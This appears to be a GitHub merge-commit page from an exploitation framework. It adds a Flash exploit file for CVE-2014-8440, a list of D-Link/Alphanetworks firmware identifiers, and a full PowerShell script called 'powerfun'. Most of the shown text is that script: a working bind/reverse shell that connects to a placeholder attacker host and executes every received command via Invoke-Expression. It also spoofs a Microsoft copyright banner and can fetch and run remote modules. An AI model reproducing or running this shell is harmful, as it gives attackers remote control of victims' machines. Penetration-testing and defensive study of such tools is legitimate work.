Skip to content

Commit 89d026c

Browse files
committed
Fix merge conflict
2 parents 624adba + 17e54ff commit 89d026c

File tree

96 files changed

+3300
-652
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

96 files changed

+3300
-652
lines changed

data/exploits/CVE-2014-8440/msf.swf

18.2 KB
Binary file not shown.

data/exploits/powershell/powerfun.ps1

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
# Powerfun - Written by Ben Turner & Dave Hardy
2+
3+
function Get-Webclient
4+
{
5+
$wc = New-Object -TypeName Net.WebClient
6+
$wc.UseDefaultCredentials = $true
7+
$wc.Proxy.Credentials = $wc.Credentials
8+
$wc
9+
}
10+
function powerfun
11+
{
12+
Param(
13+
[String]$Command,
14+
[String]$Download
15+
)
16+
Process {
17+
$modules = @(MODULES_REPLACE)
18+
if ($Command -eq "bind")
19+
{
20+
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
21+
$listener.start()
22+
$client = $listener.AcceptTcpClient()
23+
}
24+
if ($Command -eq "reverse")
25+
{
26+
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
27+
}
28+
$stream = $client.GetStream()
29+
[byte[]]$bytes = 0..255|%{0}
30+
if ($Download -eq "true")
31+
{
32+
ForEach ($module in $modules)
33+
{
34+
(Get-Webclient).DownloadString($module)|Invoke-Expression
35+
}
36+
}
37+
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
38+
$stream.Write($sendbytes,0,$sendbytes.Length)
39+
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
40+
$stream.Write($sendbytes,0,$sendbytes.Length)
41+
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
42+
{
43+
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
44+
$data = $EncodedText.GetString($bytes,0, $i)
45+
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
46+
47+
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
48+
$x = ($error[0] | Out-String)
49+
$error.clear()
50+
$sendback2 = $sendback2 + $x
51+
52+
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
53+
$stream.Write($sendbyte,0,$sendbyte.Length)
54+
$stream.Flush()
55+
}
56+
$client.Close()
57+
$listener.Stop()
58+
}
59+
}
Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,14 @@
1-
Alphanetworks wrgg19_c_dlwbr_dir300
1+
Alphanetworks wrgg19_c_dlwbr_dir300
22
Alphanetworks wrgn49_dlob_dir600b
33
Alphanetworks wrgn23_dlwbr_dir600b
44
Alphanetworks wrgn22_dlwbr_dir615
55
Alphanetworks wrgnd08_dlob_dir815
66
Alphanetworks wrgg15_di524
7-
Alphanetworks wrgn39_dlob.hans_dir645
7+
Alphanetworks wrgn39_dlob.hans_dir645
8+
Alphanetworks wapnd03cm_dkbs_dap2555
9+
Alphanetworks wapnd04cm_dkbs_dap3525
10+
Alphanetworks wapnd15_dlob_dap1522b
11+
Alphanetworks wrgac01_dlob.hans_dir865
12+
Alphanetworks wrgn23_dlwbr_dir300b
13+
Alphanetworks wrgn28_dlob_dir412
14+
Alphanetworks wrgn39_dlob.hans_dir645_V1

0 commit comments

Comments
 (0)